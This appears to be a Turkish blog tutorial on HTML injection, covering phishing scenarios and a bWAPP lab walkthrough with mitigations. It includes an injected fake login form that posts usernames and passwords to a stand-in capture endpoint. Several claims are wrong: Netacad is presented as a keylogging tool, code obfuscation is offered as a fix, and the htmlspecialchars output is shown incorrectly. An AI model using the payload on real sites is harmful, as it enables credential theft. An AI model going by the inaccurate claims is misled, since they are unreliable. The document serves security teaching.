Uygulamaların kodları üzerinde bulunan bazı eksiklikler sonucu ortaya çıkan bir güvenlik açığı türüdür. HTML Injection ile web sitelerinin veya uygulamaların misyonlarının dışına çıkmasına sebep olunabilir. Bu yöntemler ile birlikte uygulamayı kullanan kullanıcıların veyahut yeni gelen kullanıcıların oturum bilgileri, parola, kullanıcı adı ve eğer kullanılan uygulama E-Ticaret gibi gerçek anlamda özel bilgileri barındıran bir site/uygulama ise; kredi kartı bilgileri, kimlik numarası gibi maddi ve manevi değer taşıyan birçok bilgiye erişim açılabilir, çalınabilir.
Bu injection türünün uygulanmasına yol açan etkenlerden bazıları şu şekildedir;
– Uygulama geliştiricilerin yazdığı kodlar üzerinde gerekli özeni göstermemesi,
– Sitenin PHP sürümü ve dolayısıyla da eski sürümlerde bulanabilen açıklar,
– Kullanılan eklentiler üzerinde bulunan açıklar,
– Form, arama butonu gibi son kullanıcının giriş(input) işlemleri yapabileceği alanlardaki yetersiz kontroller
– Kullanıcının, giriş alanlarında ‘Özel Karakterler’ kullanmasını engelleyecek önlemlerin alınmaması
gibi durumlardan ötürü böyle bir zafiyet ortaya çıkmaktadır.
HTML Injection Yansıtılmış(Reflected) ve Depolanmış(Stored) olarak 2 başlık altında incelenebilir.
# Yansıtılmış(Reflected)
Yansıtılmış injection da genel itibari ile tek bir kullanıcı hedef alınır veyahut phishing olarak bilinen ‘oltalama’ saldırısı üzerinden birçok internet kullanıcısı hedef alınabilir. Yansıtılmış Injection da uygulamanın veri tabanına herhangi bir kayıt gerçekleşmez. Keza sunucu ve istemci arasında da herhangi bir veri kaydı tutulmamaktadır.
Şimdiki senaryoda bundan bahsedeceğim;
Saldırgan; oturum bilgisi, cookie bilgileri ve diğer özel bilgileri edinmek için belirlemiş olduğu bir uygulamanın, kullanıcının fark edemeyeceği şekilde birebir aynısını tasarlayarak uygulamaya koymuştur. Hedef kitlesinde bulunan kurbanlarına gönderdiği bir e posta aracılığı ve mesajının içeriği itibari ile tıpkı orijinal olan asıl siteden gelen bir mail olarak kullanıcıya lanse ettirip, dikkatini çekmeyi başarıp, eklediği link ile de kendi sitesine yönlendirebilir. Sitede bulunan kullanıcı adı ve parola bilgilerini girmesini sağlayıp ve bunu da yardımcı araçlar(netacad, burpsuite, wireshark) ile tespit etmesinin akabinde asıl site üzerinde bu kullanıcı adı ve parola bilgileri ile giriş sağlayıp, kısa süre içerisinde ağına adlığı bu kişilerin tüm bilgilerini elde edebilir.
# Depolanmış(Stored)
Depolanmış Injection türünde uygulama veya site üzerinde bulunan bir yorum sayfası, iletişim formu, arama butonu, sunucu-istemci arasında değişiklikler gerçekleştirebilen, özetle sunucu ve veri tabanında kayıtlı kalarak işlevi değiştirebilen işlemler bütünüdür. Bu zafiyet türünden, ilgili konumu ziyaret eden tüm kullanıcılar etkilenebilir.
En sık rastlanan depolanmış injection türlerinden biri de, “Kayıt Ol/Giriş Yap” alanlarında bulunan girdi kısımlarında PHP ve HTML kodları entegre edilerek ‘Oturum Süresi Doldu, Yeniden Giriş Yapın’ gibi uyarılar göstererek sahte bir forma yönlendirebilirler. Bu form örneklerinden birinin kodu şu şekildedir;
<div style=”position: absolute; left: 0px; top: 0px; width: 800px; height: 600px; background-color:white;”> Oturum Süresi Doldu, Lütfen Giriş Yapın:<br> <form name=”login” action=”http://127.0.0.1/captureData.php/”> <table> <tr><td>Kullanıcı adı:</td><td><input type=”text” name=”user”/></td></tr> <tr><td>Parola:</td><td><input type=”password” name=”pass”/></td></tr> </table> <input type=”Gönder” value=”Giriş”/> </form> </div>
|
Bu sahte form üzerinde kullanıcı, kullanıcı adını ve parola bilgisini girebilir. Saldırgan bunu tespit edecektir.
Saldırgan, site üzerinde ilgili alanlara zararlı ve tetikleyici kodları enjekte ettikten sonra sunucuyu dinlemeye alarak, istemci ve sunucu arasında görünmez bir köprü olabilir. Bu işlemi birkaç farklı programın yanı sıra Netacad yazılımı ile gerçekleştirebilir. Netacad aracılığı ile son kullanıcının klavyede girdiği tuşları, parola bilgisi ve çerez(cookie) bilgilerini elde edebilir.
Bu işlemlerin yanı sıra bu açıklar kontrol edilmedikçe gerekli güncellemeler gerçekleştirilmedikçe ‘mahremiyet’ hiçbir zaman mahremiyet olamayacaktır.
HTML Injection – Stored | Security Level: Low
Düşük seviye güvenlik açığı sürümünde, php, html ve css gibi kodları input alanına kolayca enjekte edebilmekteyiz. Basitçe yapılan bu işlem dahi sistemin mimarisini bozabilmekte ve kötü niyetli kişilerin, kullanıcının bilgilerini çalmasına ortam hazırlayabilir.
Alınabilecek Önlem: Low
Low seviye güvenlik açıklarını kapatmak için HTML ve PHP gibi işlevselliği değiştirme potansiyeli olan kodların girişini engellemek gerekmektedir.
Bunun için ise özel karakterlerin girişi PHP için;
“echo htmlspecialchars($str);” kodu uygulamaya girilerek string bazındaki girişleri bloke etmiş oluruz.
Örneğin;
<?php
$str = “Dogukan <b>KARADAG</b>.”;
echo htmlspecialchars($str);
?>
Kodunun HTML çıktısı şu şekilde olacaktır;
“Dogukan <b>KARADAG</b>.”
HTML Injection – Stored | Security Level: Medium
Orta seviye güvenlik seviyesinde, sızma işlemleri biraz daha teferruatlı bir hal almaktadır. Çalıştığımız bWAPP platformunda bulunduğumuz linke dikkat etmeliyiz. URL şu şekildedir; /bwapp/bWAPP/htmli_stored.php
URL yapımızdan da yola çıkarak son kısıma dikkat ettiğimizde htmli_stored.php dosyasını açarak kaynak kodlarına erişebilir ve burada enjeksiyon işlemimizi gerçekleştirmek için gerekli komutları değiştirebilir veya güncelleyebiliriz.
Alınabilecek Önlem: Medium
Son kullanıcının kaynak kodlarına erişimini engellemek için şifreleme yöntemi ile bu durum çözülebilmektedir. Bunun yanı sıra sunucu taraflı işlemleri engellemek için sürekli olarak kullanılan sürümün güncel ve sunucunun güncel olduğundan emin olunmalıdır.
HTML Injection – Stored | Security Level: High
bWAPP klasörü içerisinden htmli_stored.php dosyasını editör aracılığı ile açarak kaynak kodlarına erişmiş oluruz. Kaynak kodların taramasını gerçekleştirdiğimizde, switch case içerisinde sqli_check_3() fonksiyonunu sqli_check_4() fonksiyonu olarak değiştirip kaydettiğimizde artık xss ve veri tabanı açıkları zafiyeti oluşmuş olacaktır.
Alınabilecek Önlem: High
Kaynak kodlarının detaylı taraması ve analizi yapılmasının akabinde yönetici veya yönetici izni olan kişiler haricinde kesinlikle klasör, dosya ve kodlar üzerinde kullanıcının herhangi bir rolü olmamalıdır. Keza kodlar medium seviyede de olduğu gibi şifreleme teknikleri kullanarak belirsizleştirilmelidir.
HTML Injection hakkında aklınıza takılan soru ve görüşlerinizi yorumlarda belirtmekten çekinmeyin. Daha fazla bilgi sahibi olmak ve benimle iletişime geçmek için iletişim sayfasındaki formu doldurmanız yeterlidir. 🙂